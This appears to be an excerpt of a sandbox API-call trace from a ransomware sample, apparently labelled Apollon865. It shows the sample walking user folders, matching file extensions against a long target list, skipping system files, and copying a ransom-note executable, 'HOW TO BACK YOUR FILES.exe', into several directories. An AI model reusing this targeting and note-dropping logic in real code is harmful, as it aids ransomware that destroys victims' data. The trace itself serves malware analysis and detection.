	[0036.935] lstrlenW (lpString="rbf") returned 3
	[0036.935] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0036.935] lstrlenW (lpString="rctd") returned 4
	[0036.935] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0036.935] lstrlenW (lpString="rod") returned 3
	[0036.935] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0036.935] lstrlenW (lpString="rodx") returned 4
	[0036.935] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0036.935] lstrlenW (lpString="rpd") returned 3
	[0036.935] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0036.935] lstrlenW (lpString="rsd") returned 3
	[0036.935] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0036.935] lstrlenW (lpString="sas7bdat") returned 8
	[0036.935] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0036.935] lstrlenW (lpString="sbf") returned 3
	[0036.935] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0036.935] lstrlenW (lpString="scx") returned 3
	[0036.935] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0036.935] lstrlenW (lpString="sdb") returned 3
	[0036.935] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0036.935] lstrlenW (lpString="sdc") returned 3
	[0036.935] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0036.935] lstrlenW (lpString="sdf") returned 3
	[0036.935] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0036.935] lstrlenW (lpString="sis") returned 3
	[0036.935] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0036.935] lstrlenW (lpString="spq") returned 3
	[0036.935] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0036.935] lstrlenW (lpString="te") returned 2
	[0036.935] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0036.936] lstrlenW (lpString="teacher") returned 7
	[0036.936] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0036.936] lstrlenW (lpString="tmd") returned 3
	[0036.936] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0036.936] lstrlenW (lpString="tps") returned 3
	[0036.936] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0036.936] lstrlenW (lpString="trc") returned 3
	[0036.936] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0036.936] lstrlenW (lpString="trc") returned 3
	[0036.936] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0036.936] lstrlenW (lpString="trm") returned 3
	[0036.936] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0036.936] lstrlenW (lpString="udb") returned 3
	[0036.936] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0036.936] lstrlenW (lpString="udl") returned 3
	[0036.936] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0036.936] lstrlenW (lpString="usr") returned 3
	[0036.936] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0036.936] lstrlenW (lpString="v12") returned 3
	[0036.936] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0036.936] lstrlenW (lpString="vis") returned 3
	[0036.936] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0036.936] lstrlenW (lpString="vpd") returned 3
	[0036.936] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0036.936] lstrlenW (lpString="vvv") returned 3
	[0036.936] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0036.936] lstrlenW (lpString="wdb") returned 3
	[0036.936] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0036.936] lstrlenW (lpString="wmdb") returned 4
	[0036.936] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0036.936] lstrlenW (lpString="wrk") returned 3
	[0036.936] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0036.936] lstrlenW (lpString="xdb") returned 3
	[0036.936] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0036.936] lstrlenW (lpString="xld") returned 3
	[0036.936] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0036.936] lstrlenW (lpString="xmlff") returned 5
	[0036.936] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0036.937] FindNextFileW (in: hFindFile=0x5ca290, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e2bb6f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e2bb6f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0036.937] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0036.937] FindNextFileW (in: hFindFile=0x5ca290, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xb11062, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 1
	[0036.937] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0036.937] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="Apollon865.txt.exe") returned 1
	[0036.937] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2=".") returned 1
	[0036.937] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="..") returned 1
	[0036.937] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="windows") returned -1
	[0036.937] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="bootmgr") returned 1
	[0036.937] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="temp") returned 1
	[0036.937] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="pagefile.sys") returned 1
	[0036.937] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="boot") returned 1
	[0036.937] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="ids.txt") returned 1
	[0036.937] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="ntuser.dat") returned 1
	[0036.937] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="perflogs") returned 1
	[0036.937] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2="MSBuild") returned 1
	[0036.937] lstrlenW (lpString="Web Slice Gallery.url") returned 21
	[0036.937] lstrlenW (lpString="C:\\Users\\Default\\Favorites\\Links\\desktop.ini") returned 44
	[0036.937] lstrcpyW (in: lpString1=0x2d3e592, lpString2="Web Slice Gallery.url" | out: lpString1="Web Slice Gallery.url") returned="Web Slice Gallery.url"
	[0036.937] lstrlenW (lpString="Web Slice Gallery.url") returned 21
	[0036.937] lstrlenW (lpString="Apollon865") returned 10
	[0036.937] lstrcmpiW (lpString1="allery.url", lpString2="Apollon865") returned -1
	[0036.937] lstrlenW (lpString=".dll") returned 4
	[0036.937] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2=".dll") returned 1
	[0036.937] lstrlenW (lpString=".lnk") returned 4
	[0036.937] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2=".lnk") returned 1
	[0036.937] lstrlenW (lpString=".ini") returned 4
	[0036.937] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2=".ini") returned 1
	[0036.937] lstrlenW (lpString=".sys") returned 4
	[0036.937] lstrcmpiW (lpString1="Web Slice Gallery.url", lpString2=".sys") returned 1
	[0036.937] lstrlenW (lpString="Web Slice Gallery.url") returned 21
	[0036.937] lstrlenW (lpString="bak") returned 3
	[0036.937] lstrcmpiW (lpString1="url", lpString2="bak") returned 1
	[0036.937] lstrlenW (lpString="ba_") returned 3
	[0036.938] lstrcmpiW (lpString1="url", lpString2="ba_") returned 1
	[0036.938] lstrlenW (lpString="dbb") returned 3
	[0036.938] lstrcmpiW (lpString1="url", lpString2="dbb") returned 1
	[0036.938] lstrlenW (lpString="vmdk") returned 4
	[0036.938] lstrcmpiW (lpString1=".url", lpString2="vmdk") returned -1
	[0036.938] lstrlenW (lpString="rar") returned 3
	[0036.938] lstrcmpiW (lpString1="url", lpString2="rar") returned 1
	[0036.938] lstrlenW (lpString="zip") returned 3
	[0036.938] lstrcmpiW (lpString1="url", lpString2="zip") returned -1
	[0036.938] lstrlenW (lpString="tgz") returned 3
	[0036.938] lstrcmpiW (lpString1="url", lpString2="tgz") returned 1
	[0036.938] lstrlenW (lpString="vbox") returned 4
	[0036.938] lstrcmpiW (lpString1=".url", lpString2="vbox") returned -1
	[0036.938] lstrlenW (lpString="vdi") returned 3
	[0036.938] lstrcmpiW (lpString1="url", lpString2="vdi") returned -1
	[0036.938] lstrlenW (lpString="vhd") returned 3
	[0036.938] lstrcmpiW (lpString1="url", lpString2="vhd") returned -1
	[0036.938] lstrlenW (lpString="vhdx") returned 4
	[0036.938] lstrcmpiW (lpString1=".url", lpString2="vhdx") returned -1
	[0036.938] lstrlenW (lpString="avhd") returned 4
	[0036.938] lstrcmpiW (lpString1=".url", lpString2="avhd") returned -1
	[0036.938] lstrlenW (lpString="db") returned 2
	[0036.938] lstrcmpiW (lpString1="rl", lpString2="db") returned 1
	[0036.938] lstrlenW (lpString="db2") returned 3
	[0036.938] lstrcmpiW (lpString1="url", lpString2="db2") returned 1
	[0036.938] lstrlenW (lpString="db3") returned 3
	[0036.938] lstrcmpiW (lpString1="url", lpString2="db3") returned 1
	[0036.938] lstrlenW (lpString="dbf") returned 3
	[0036.938] lstrcmpiW (lpString1="url", lpString2="dbf") returned 1
	[0036.938] lstrlenW (lpString="mdf") returned 3
	[0036.938] lstrcmpiW (lpString1="url", lpString2="mdf") returned 1
	[0036.938] lstrlenW (lpString="mdb") returned 3
	[0036.938] lstrcmpiW (lpString1="url", lpString2="mdb") returned 1
	[0036.938] lstrlenW (lpString="sql") returned 3
	[0036.938] lstrcmpiW (lpString1="url", lpString2="sql") returned 1
	[0036.938] lstrlenW (lpString="sqlite") returned 6
	[0036.938] lstrcmpiW (lpString1="ry.url", lpString2="sqlite") returned -1
	[0036.938] lstrlenW (lpString="sqlite3") returned 7
	[0036.939] lstrcmpiW (lpString1="ery.url", lpString2="sqlite3") returned -1
	[0036.939] lstrlenW (lpString="sqlitedb") returned 8
	[0036.939] lstrcmpiW (lpString1="lery.url", lpString2="sqlitedb") returned -1
	[0036.939] lstrlenW (lpString="xml") returned 3
	[0036.939] lstrcmpiW (lpString1="url", lpString2="xml") returned -1
	[0036.939] lstrlenW (lpString="$er") returned 3
	[0036.939] lstrcmpiW (lpString1="url", lpString2="$er") returned 1
	[0036.939] lstrlenW (lpString="4dd") returned 3
	[0036.939] lstrcmpiW (lpString1="url", lpString2="4dd") returned 1
	[0036.939] lstrlenW (lpString="4dl") returned 3
	[0036.939] lstrcmpiW (lpString1="url", lpString2="4dl") returned 1
	[0036.939] lstrlenW (lpString="^^^") returned 3
	[0036.939] lstrcmpiW (lpString1="url", lpString2="^^^") returned 1
	[0036.939] lstrlenW (lpString="abs") returned 3
	[0036.939] lstrcmpiW (lpString1="url", lpString2="abs") returned 1
	[0036.939] lstrlenW (lpString="abx") returned 3
	[0036.939] lstrcmpiW (lpString1="url", lpString2="abx") returned 1
	[0036.939] lstrlenW (lpString="accdb") returned 5
	[0036.939] lstrcmpiW (lpString1="y.url", lpString2="accdb") returned 1
	[0036.939] lstrlenW (lpString="accdc") returned 5
	[0036.939] lstrcmpiW (lpString1="y.url", lpString2="accdc") returned 1
	[0036.939] lstrlenW (lpString="accde") returned 5
	[0036.939] lstrcmpiW (lpString1="y.url", lpString2="accde") returned 1
	[0036.939] lstrlenW (lpString="accdr") returned 5
	[0036.939] lstrcmpiW (lpString1="y.url", lpString2="accdr") returned 1
	[0036.939] lstrlenW (lpString="accdt") returned 5
	[0036.939] lstrcmpiW (lpString1="y.url", lpString2="accdt") returned 1
	[0036.939] lstrlenW (lpString="accdw") returned 5
	[0036.939] lstrcmpiW (lpString1="y.url", lpString2="accdw") returned 1
	[0036.939] lstrlenW (lpString="accft") returned 5
	[0036.939] lstrcmpiW (lpString1="y.url", lpString2="accft") returned 1
	[0036.939] lstrlenW (lpString="adb") returned 3
	[0036.939] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0036.939] lstrlenW (lpString="adb") returned 3
	[0036.939] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0036.939] lstrlenW (lpString="ade") returned 3
	[0036.939] lstrcmpiW (lpString1="url", lpString2="ade") returned 1
	[0036.939] lstrlenW (lpString="adf") returned 3
	[0036.940] lstrcmpiW (lpString1="url", lpString2="adf") returned 1
	[0036.940] lstrlenW (lpString="adn") returned 3
	[0036.940] lstrcmpiW (lpString1="url", lpString2="adn") returned 1
	[0036.940] lstrlenW (lpString="adp") returned 3
	[0036.940] lstrcmpiW (lpString1="url", lpString2="adp") returned 1
	[0036.940] lstrlenW (lpString="alf") returned 3
	[0036.940] lstrcmpiW (lpString1="url", lpString2="alf") returned 1
	[0036.940] lstrlenW (lpString="ask") returned 3
	[0036.940] lstrcmpiW (lpString1="url", lpString2="ask") returned 1
	[0036.940] lstrlenW (lpString="btr") returned 3
	[0036.940] lstrcmpiW (lpString1="url", lpString2="btr") returned 1
	[0036.940] lstrlenW (lpString="cat") returned 3
	[0036.940] lstrcmpiW (lpString1="url", lpString2="cat") returned 1
	[0036.940] lstrlenW (lpString="cdb") returned 3
	[0036.940] lstrcmpiW (lpString1="url", lpString2="cdb") returned 1
	[0036.940] lstrlenW (lpString="ckp") returned 3
	[0036.940] lstrcmpiW (lpString1="url", lpString2="ckp") returned 1
	[0036.940] lstrlenW (lpString="cma") returned 3
	[0036.940] lstrcmpiW (lpString1="url", lpString2="cma") returned 1
	[0036.940] lstrlenW (lpString="cpd") returned 3
	[0036.940] lstrcmpiW (lpString1="url", lpString2="cpd") returned 1
	[0036.940] lstrlenW (lpString="dacpac") returned 6
	[0036.940] lstrcmpiW (lpString1="ry.url", lpString2="dacpac") returned 1
	[0036.940] lstrlenW (lpString="dad") returned 3
	[0036.940] lstrcmpiW (lpString1="url", lpString2="dad") returned 1
	[0036.940] lstrlenW (lpString="dadiagrams") returned 10
	[0036.940] lstrcmpiW (lpString1="allery.url", lpString2="dadiagrams") returned -1
	[0036.940] lstrlenW (lpString="daschema") returned 8
	[0036.940] lstrcmpiW (lpString1="lery.url", lpString2="daschema") returned 1
	[0036.940] lstrlenW (lpString="db-journal") returned 10
	[0036.940] lstrcmpiW (lpString1="allery.url", lpString2="db-journal") returned -1
	[0036.940] lstrlenW (lpString="db-shm") returned 6
	[0036.940] lstrcmpiW (lpString1="ry.url", lpString2="db-shm") returned 1
	[0036.940] lstrlenW (lpString="db-wal") returned 6
	[0036.940] lstrcmpiW (lpString1="ry.url", lpString2="db-wal") returned 1
	[0036.940] lstrlenW (lpString="dbc") returned 3
	[0036.940] lstrcmpiW (lpString1="url", lpString2="dbc") returned 1
	[0036.940] lstrlenW (lpString="dbs") returned 3
	[0036.940] lstrcmpiW (lpString1="url", lpString2="dbs") returned 1
	[0036.941] lstrlenW (lpString="dbt") returned 3
	[0036.941] lstrcmpiW (lpString1="url", lpString2="dbt") returned 1
	[0036.941] lstrlenW (lpString="dbv") returned 3
	[0036.941] lstrcmpiW (lpString1="url", lpString2="dbv") returned 1
	[0036.941] lstrlenW (lpString="dbx") returned 3
	[0036.941] lstrcmpiW (lpString1="url", lpString2="dbx") returned 1
	[0036.941] lstrlenW (lpString="dcb") returned 3
	[0036.941] lstrcmpiW (lpString1="url", lpString2="dcb") returned 1
	[0036.941] lstrcmpiW (lpString1="url", lpString2="dct") returned 1
	[0036.941] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\Downloads", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\Downloads") returned="C:\\Users\\Default\\Downloads"
	[0036.941] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca050 | out: hHeap=0x580000) returned 1
	[0036.941] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0036.941] lstrlenW (lpString="C:\\Users\\Default\\Downloads") returned 26
	[0036.941] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Downloads" | out: lpString1="C:\\Users\\Default\\Downloads") returned="C:\\Users\\Default\\Downloads"
	[0036.941] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0036.941] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Downloads\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\downloads\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0036.946] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0036.946] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Downloads\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e3079b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e3079b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0036.946] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.946] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0036.946] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0036.946] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e3079b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e3079b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.946] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.946] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0036.946] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0036.946] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0036.946] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0036.946] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.946] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0036.946] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0036.946] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0036.946] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0036.946] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0036.946] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0036.946] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0036.946] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0036.946] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0036.946] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0036.946] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0036.946] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0036.946] lstrlenW (lpString="desktop.ini") returned 11
	[0036.946] lstrlenW (lpString="C:\\Users\\Default\\Downloads\\*") returned 28
	[0036.946] lstrcpyW (in: lpString1=0x2d3e586, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0036.946] lstrlenW (lpString="desktop.ini") returned 11
	[0036.947] lstrlenW (lpString="Apollon865") returned 10
	[0036.947] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0036.947] lstrlenW (lpString=".dll") returned 4
	[0036.947] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0036.947] lstrlenW (lpString=".lnk") returned 4
	[0036.947] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0036.947] lstrlenW (lpString=".ini") returned 4
	[0036.947] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0036.947] lstrlenW (lpString=".sys") returned 4
	[0036.947] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0036.947] lstrlenW (lpString="desktop.ini") returned 11
	[0036.947] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\Documents", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents"
	[0036.947] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca250 | out: hHeap=0x580000) returned 1
	[0036.947] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0036.947] lstrlenW (lpString="C:\\Users\\Default\\Documents") returned 26
	[0036.947] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Documents" | out: lpString1="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents"
	[0036.947] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0036.947] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\documents\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0036.947] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0036.948] GetLastError () returned 0x0
	[0036.948] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5cafb8
	[0036.948] ReadFile (in: hFile=0x120, lpBuffer=0x5cafb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5cafb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0036.948] CloseHandle (hObject=0x120) returned 1
	[0036.948] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafb8 | out: hHeap=0x580000) returned 1
	[0036.948] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0036.948] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e080250, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e080250, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0036.948] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.948] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0036.948] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0036.948] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e080250, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e080250, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.948] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.948] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0036.948] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0036.948] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0036.948] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0036.948] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.948] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0036.948] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0036.948] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0036.948] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0036.948] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0036.948] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0036.948] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0036.948] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0036.948] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0036.949] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0036.949] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0036.949] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0036.949] lstrlenW (lpString="desktop.ini") returned 11
	[0036.949] lstrlenW (lpString="C:\\Users\\Default\\Documents\\*") returned 28
	[0036.949] lstrcpyW (in: lpString1=0x2d3e586, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0036.949] lstrlenW (lpString="desktop.ini") returned 11
	[0036.949] lstrlenW (lpString="Apollon865") returned 10
	[0036.949] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0036.949] lstrlenW (lpString=".dll") returned 4
	[0036.949] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0036.949] lstrlenW (lpString=".lnk") returned 4
	[0036.949] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0036.949] lstrlenW (lpString=".ini") returned 4
	[0036.949] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0036.949] lstrlenW (lpString=".sys") returned 4
	[0036.949] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0036.949] lstrlenW (lpString="desktop.ini") returned 11
	[0036.949] lstrcpyW (in: lpString1=0x2d3e586, lpString2="My Music" | out: lpString1="My Music") returned="My Music"
